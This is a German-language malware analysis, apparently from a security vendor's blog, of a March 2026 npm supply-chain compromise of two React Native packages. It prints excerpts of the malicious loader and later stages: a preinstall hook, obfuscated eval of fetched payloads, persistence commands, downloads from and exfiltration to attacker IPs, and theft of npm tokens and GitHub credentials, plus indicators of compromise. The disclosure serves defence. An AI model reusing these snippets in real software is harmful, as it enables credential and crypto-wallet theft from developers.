Passende Veröffentlichungen vom 16. März 2026 fügten obfuskierte Preinstall-Malware zu Paketen desselben Herausgebers hinzu
Am 16. März 2026 wurden zwei React Native npm-Pakete von der AstrOOnauta in einem koordinierten Supply-Chain-Angriff mit einer Backdoor versehen. Beide Releases fügten einen identischen Install-Time-Loader hinzu, der einen mehrstufigen Windows-Anmeldeinformations- und Krypto-Stealer abruft und ausführt, ausgelöst durch nichts weiter als eine routinemäßige npm install. Die betroffenen Pakete sind react-native-country-select@0.3.91 und react-native-international-phone-number@0.11.8.
In beiden Fällen wird der bösartige Code durch einen neuen preinstall Hook eingeführt, der vor Abschluss einer normalen npm-Installation ausgeführt wird, was bedeutet, dass Entwickelnde, CI-Runner und Build-Agents die Malware allein durch die Installation des Pakets auslösen können.
Indem wir der gleichen Kette folgten, die die Malware verwendet, konnten wir das aktive Stage-Two-Artefakt wiederherstellen und die nachfolgende Payload entschlüsseln. Diese tiefere Payload ist ein auf Windows fokussierter Krypto- und Anmeldeinformations-Stealer mit Persistenz und der Fähigkeit, zusätzliche Komponenten zu liefern.
Am 16. März 2026 meldete die npm-Downloads-API 9.072 Downloads in der letzten Woche für react-native-country-select und 20.691 für react-native-international-phone-number, was insgesamt 29.763 wöchentliche Downloads ergibt. Im letzten Monat meldete dieselbe API 42.589 bzw. 92.298 Downloads, was insgesamt 134.887 monatliche Downloads bedeutet.
Was geschah
Die zuvor überprüften angrenzenden Versionen, react-native-country-select@0.3.9 und react-native-international-phone-number@0.11.7, enthalten keinen preinstall Hook und liefern den bösartigen Installer nicht mit. Die Releases vom 16. März 2026 fügen beides hinzu.
Der Zeitplan:
react-native-international-phone-number@0.11.8wurde am 16. März 2026 um 10:49:29 UTC veröffentlicht.react-native-country-select@0.3.91wurde am 16. März 2026 um 10:54:18 UTC veröffentlicht.- Die vorherigen angrenzenden Versionen für beide Pakete wurden am 13. März 2026 veröffentlicht.
Dieses Muster deutet auf ein Kompromittierungsfenster am selben Tag hin, das mehrere Pakete desselben Herausgebers betrifft.
Wie die Malware funktionierte
Schritt 1: Ausführung zur Installationszeit
Beide bösartigen Releases fügen denselben Package-Lifecycle-Hook hinzu:
"scripts": {
"preinstall": "node install.js"
}
Der install.js Die Datei ist obfuskiert, verbindet sich mit externer Infrastruktur, ruft eine Second-Stage-Payload ab und führt diese dynamisch aus.
Der ursprünglich ausgelieferte Installer zeigt den Solana RPC-Abruf direkt:
let y = await fetch(S, {
'method': e(0x45b, 'nSeb', 0x48f, 0x42b),
'headers': M,
'body': JSON[d(0x473, 'kjpv', 0x42d, 0x471)]({
'jsonrpc': e(0x42c, ')qo^', 0x477, 0x425),
'id': 0x1,
'method': 'getSignatu' + e(0x441, 'PhAy', 0x42c, 0x45e) + d(0x4bb, '6bCJ', 0x4b3, 0x4d3),
'params': [H[d(0x50d, '%Rah', 0x527, 0x4f7)](), t]
})
});
Später in derselben Originaldatei führt der Installer die abgerufene Payload aus:
if (u?.[J(0x4ca, 'h(yv', 0x4ad, 0x49a)] == 0x14) {
eval(atob(u));
return;
}
if (h[w(0x6c8, 0x6c8, 'pw9N', 0x679)]() == J(0x4c1, 'WZok', 0x4f8, 0x543)) {
let _iv = Buffer[J(0x4be, 'hcSr', 0x4b8, 0x4f9)](S, 'base64');
eval(atob(u));
}
Dies ist eine gestufte Code-Ausführung während der Paketinstallation.
Schritt 2: Überprüfung des russischen Gebietsschemas
Der Installer läuft nicht überall blindlings. Er enthält einen expliziten Umgebungsfilter für russische Sprach- und Zeitzonensignale, bevor er fortfährt. Im ursprünglich ausgelieferten Code prüft er Werte wie ru_RU, ru-RU, Russian, und russian:
let n = [
h['userInfo']()[k(-0xe4, 'nhpn', -0x109, -0xd4)],
process[k(-0x10f, 'A0gN', -0xf6, -0x151)][B('Fhk]', 0x6cb, 0x636, 0x675)],
process[B('uKoI', 0x5e9, 0x5b4, 0x5f0)]['LANGUAGE'],
process[k(-0x100, 'aiAw', -0x139, -0x124)]['LC_ALL'],
Intl[
B('uxDz', 0x698, 0x5f4, 0x648) + k(-0x135, 'sDd5', -0xe9, -0x108)
]()[k(-0xdd, 'apC#', -0x98, -0xb0) + 'tions']()[k(-0xf9, '94Hn', -0xcb, -0xc5)]
][k(-0xf7, '8MCe', -0xa4, -0xc0)](
u => u && /ru_RU|ru-RU|Russian|russian/i[B('hcSr', 0x666, 0x6a5, 0x654)](u)
);
Derselbe Block prüft auch Zeitzonennamen und UTC-Offsets, die mit Russland verbunden sind. Diese Art der geografischen oder sprachlichen Ausschließung ist bei krimineller Malware üblich, insbesondere bei solcher, die aus Russland oder von russischsprachigen Bedrohungsakteuren stammt.
Schritt 3: Solana Memo-Abruf und Stage-Two-Bereitstellung
Wir folgten denselben Schritten wie die Malware:
- Extrahieren Sie das Solana-Konto aus dem obfuskierten Installer.
- Fragen Sie dieselbe
getSignaturesForAddressRPC-Methode ab, die das Paket verwendet. - Stellen Sie das Transaktions-Memo wieder her, das eine base64-kodierte
Link. - Diese URL als inerten Inhalt abrufen und die HTTP-Antwort-Header beibehalten.
- Den zurückgegebenen Body dekodieren und die nächste Ebene statisch analysieren.
- Verwenden Sie die zurückgegebenen
secretkeyundivbase64Werte, um die eingebettete Payload zu entschlüsseln, ohne sie auszuführen.
Die abgerufene Stage-Two-Antwort lieferte genau das Material, das zur Entschlüsselung der nächsten Ebene benötigt wurde:
secretkey: szfNmayz6fgt6ojbAuVhjEAOWMMxw7iS
ivbase64: ZMM7q5jBwUbsYFo7/8ZdxA==Die wiederhergestellte Stage-Two-URL war:
http://45[.]32[.]150[.]251/3e4Tg8V%2F8aCmOJKipASADg%3D%3DUnd der abgerufene Stage-Two-Body beginnt als ein weiteres ursprüngliches Entschlüsselungsskript:
var crypto=require("crypto"),d=crypto.createDecipheriv("aes-256-cbc",secretKey,_iv),b=d.update("e44249441ac275c58c208f8011873821...Schritt 4: Die wiederhergestellte dritte Stufe bleibt bestehen und zieht weitere Komponenten nach
Die AES-entschlüsselte Payload ist die wiederhergestellte dritte Stufe. Hier wird die Kette zu einem Windows-fokussierten Stealer und Downloader.
Es richtet Persistenz ein über schtasks und den Führen Sie Registrierungsschlüssel:
schtasks / create / tn "UpdateApp" / tr "powershell -ExecutionPolicy Bypass -File ${ps1Path}" / sc onstart / rl highest / f$rPath = "HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Run"
$randomName = "DPKCbbQ"
$command = "powershell -WindowStyle Hidden -ExecutionPolicy Bypass -File ${ps1Path}"
New - ItemProperty - Path $rPath - Name $randomName - PropertyType String - Value $command - Force
Es schreibt auch eine ~\\init.json Statusdatei und verwendet sie als Persistenz- und Ausführungsschutz wieder:
const duplicate = path.join(LnwdVr, 'init.json');
...
fs.writeFileSync(duplicate, JSON.stringify({
init: true,
update: null,
date: new Date().getTime(),
version: '2.27',
uuid: data?.uuid ? data.uuid : makeid(14)
}));Schritt 5: Die dritte Stufe verwendet Google Kalender als eine weitere Indirektionsebene
Die Google Kalender-URL erscheint später, innerhalb des wiederhergestellten JavaScript der dritten Stufe, wo diese dritte Stufe verwendet calendar.app.google um einen base64-kodierten Slug wiederherzustellen, bevor ein weiteres Skript von 45[.]32[.]150[.]251.
Dies ist der ursprüngliche Code:
QGrJayHbkY(atob('aHR0cHM6Ly9jYWxlbmRhci5hcHAuZ29vZ2xlLzJOa3JjS0tqNFQ2RG40dUs2'), (err, link) => mzIcfsRBX(atob(link), mzIcfsRBXCall));
...
http.get('http://45.32.150.251' + slug, (res) => {Die Kette ist also wie folgt aufgebaut:
- npm
preinstallführt ausinstall.js install.jsfragt Solana RPC ab und ruft Stufe zwei ab- Stufe zwei entschlüsselt und führt Stufe drei aus
- Stufe drei kontaktiert Google Calendar
- Stufe drei verwendet den wiederhergestellten Slug, um zusätzliche Inhalte von
45[.]32[.]150[.]251
Diese Indirektion ist wichtig, da sie den Betreibern später in der Kette einen flexiblen Kontrollpunkt bietet. Sie können den nachgelagerten Pfad ändern, ohne das npm-Paket neu zu veröffentlichen, und die Verwendung einer Google-eigenen URL kann dazu beitragen, dass sich die Kette in den ansonsten normalen Traffic einfügt.
Dies ist auch in einem breiteren Forschungskontext interessant. Letztes Jahr haben wir einen Artikel über die Verbreitung von Malware über Google Kalender-Einladungen und PUAs veröffentlicht; lesen Sie ihn hier, um mehr darüber zu erfahren: Sie sind eingeladen! Malware-Verbreitung über Google Kalender-Einladungen und PUAs.
Beweise
Der stärkste Beweis ist, dass der in beide Pakete eingeführte Loader byte-identisch ist. Die install.js Datei in beiden bösartigen Releases hat SHA-256:
59221aa9623d86c930357dba7e3f54138c7ccbd0daa9c483d766cd8ce1b6ad26Die Versions-Diffs sind ebenfalls ungewöhnlich sauber. Bei beiden Paketen wird das bösartige Verhalten durch dieselben zwei Änderungen eingeführt:
- ein neuer
install.js - ein neuer
preinstallEintrag inpackage.json
Für react-native-country-select, der bösartige Sprung erfolgt von 0.3.9 zu 0.3.91.
Für react-native-international-phone-number, der bösartige Sprung erfolgt von 0.11.7 zu 0.11.8.
Ein Detail macht den Fall noch interessanter: react-native-international-phone-number@0.11.8 hängt ab von react-native-country-select@0.3.9, die die frühere saubere, angrenzende Version zu sein scheint, nicht die bösartige 0.3.91. Das deutet darauf hin, dass das zweite Paket ebenfalls direkt mit einer Hintertür versehen wurde, anstatt das Problem lediglich durch ein Dependency-Bump zu erben.
Was die wiederhergestellte Payload tut
Die wiederhergestellte dritte Stufe ist ein auf Windows ausgerichteter Stealer und Downloader.
Eine Sache, die wir im ersten Entwurf unterbetont haben, ist, dass die Payload nicht nur ein paar Wallet-Dateien stiehlt und dann aufhört. Sie baut auch ihre eigene Ausführungsumgebung auf, durchläuft browserbezogene Speicherpfade und bereitet Daten zur Sammlung unter dem Opferprofil vor.
Anschließend lädt es zusätzliche Komponenten herunter, entschlüsselt gebündelte .node Dateien, führt sie aus und exfiltriert die vorbereitete Sammlung:
http.get("http://45.32.150.251/get_arhive_npm/KQnO9LyllbN0ZfDWq8afrQ%3D%3D", (res) => {
...
childProcess.exec(`${path_node_g} -e "eval(atob('${_script}'))"`, (err, _2) => {
...
const options2 = { hostname: "217.69.3.152", port: 80, path: "/wall", method: "POST",Derselbe Payload enthält eine Wallet-Targeting-Logik für Browser-Erweiterungen und Desktop-Wallets, darunter MetaMask, Exodus, Atomic, Guarda, Coinomi, Daedalus, Braavos, OKX Wallet und Trust Wallet. Es stiehlt auch npm- und GitHub-Anmeldeinformationen:
const token = childProcess.execSync(`npm config get //${registry.replace(/^https?:\/\//, "")}:_authToken`).toString().trim();
...
const output = childProcess.execSync("git credential fill", { input: "protocol=https\nhost=github.com\n\n", encoding: "utf8"});Zu diesem Zeitpunkt ist der wiederhergestellte Payload eine vollständige Kette zum Diebstahl von Anmeldeinformationen und Wallets.
Weitere Erkenntnisse
Die wiederhergestellte dritte Stufe lädt auch eine vollständige Node.js-Laufzeitumgebung von nodejs.org, sowohl x86 als auch x64, in %APPDATA%\\_node_x86 und %APPDATA%\\_node_x64. Das verschafft der Malware eine zuverlässige Ausführungsumgebung, selbst wenn Node.js auf dem Opfersystem noch nicht vorhanden ist:
const urlX86 = "https://nodejs.org/download/release/v22.9.0/node-v22.9.0-win-x86.zip";
const urlX64 = "https://nodejs.org/download/release/v22.9.0/node-v22.9.0-win-x64.zip";
const folderPathX86 = path.join(process.env.APPDATA, "_node_x86");
const folderPathX64 = path.join(process.env.APPDATA, "_node_x64");Derselbe Payload durchsucht auch browserbezogene Profilspeicher. Im wiederhergestellten JavaScript sucht er nach "User Data" und "Firefox" Verzeichnissen und kopiert dann gezielte Wallet- und Erweiterungsspeicher aus diesen Speicherorten, nachdem Browser-Prozesse beendet wurden:
var globalGBvJwwhfind = ["User Data", "Exodus", "atomic", "Electrum", "Guarda", "Coinomi", "Daedalus Mainnet", "Firefox"];
...
const out = childProcess.execSync(`tasklist /FI "IMAGENAME eq chrome.exe"`);
...
const firefox = childProcess.execSync(`tasklist /FI "IMAGENAME eq firefox.exe"`);
...
if (file.name.includes("Local Extension Settings") && depth < 3) {
t.push(filePath);
}Dies stimmt mit dem Diebstahl aus Browserprofilen der Chromium-Familie und Firefox-bezogenen Pfaden überein. Wir können das Wallet-Erweiterungs-Targeting direkt aus dem wiederhergestellten Skript überprüfen, da es Erweiterungs-Identifikatoren für MetaMask, Phantom, Coinbase, Rabby, OKX Wallet, Braavos, Trust Wallet und viele andere enthält, sowie Speicherpfade für Desktop-Wallets wie exodus.wallet, wallets, und Local Storage\\leveldb.
Fazit
Dieser Fall sieht nach einem koordinierten npm-Supply-Chain-Ereignis aus, das mindestens zwei React Native-Pakete desselben Herausgebers am selben Tag betrifft. Das wichtigste Detail ist nicht nur, dass beide Releases bösartig sind, sondern dass sie auf dieselbe Weise, innerhalb weniger Minuten voneinander, mit demselben gestagten Loader modifiziert wurden.
Das Verfolgen der gestagten Kette macht die Auswirkungen viel deutlicher. Der Installer sendet nicht nur Beacons oder testet die Umgebung. Er führt zu einem entschlüsselten Windows-Payload, der persistent ist, weitere Komponenten herunterlädt, Wallet-Daten stiehlt, npm- und GitHub-Anmeldeinformationen stiehlt und gesammelte Archive an die vom Angreifer kontrollierte Infrastruktur exfiltriert.
Kompromittierungsindikatoren
Bösartige Pakete:
react-native-country-select@0.3.91react-native-international-phone-number@0.11.8
Shared Loader-Hash:
59221aa9623d86c930357dba7e3f54138c7ccbd0daa9c483d766cd8ce1b6ad26
Verwandte Domains:
socket[.]networkn[.]xyzp[.]link45[.]32[.]150[.]251217[.]69[.]3[.]152calendar[.]app[.]google/2NkrcKKj4T6Dn4uK6
Erkennung und Schutz
Wenn Sie bereits Aikido nutzen, würden diese Pakete in Ihrem Feed als kritischer Befund mit 100/100 markiert.

Noch nicht auf Aikido? Erstellen Sie ein kostenloses Konto und verknüpfen Sie Ihre Repositories. Der kostenlose Plan beinhaltet unsere Malware-Erkennungsabdeckung (keine Kreditkarte erforderlich).
Schließlich kann ein Tool, das Supply-Chain-Malware in Echtzeit stoppen kann, sobald sie auftaucht, eine ernsthafte Infektion verhindern. Dies ist die Idee hinter Aikido Safe Chain, einem kostenlosen Open-Source-Tool, das npm, npx, yarn, pnpm und pnpx umschließt und sowohl KI als auch menschliche Malware-Forscher einsetzt, um die neuesten Supply-Chain-Risiken zu erkennen und zu blockieren, bevor sie in Ihre Umgebung gelangen.

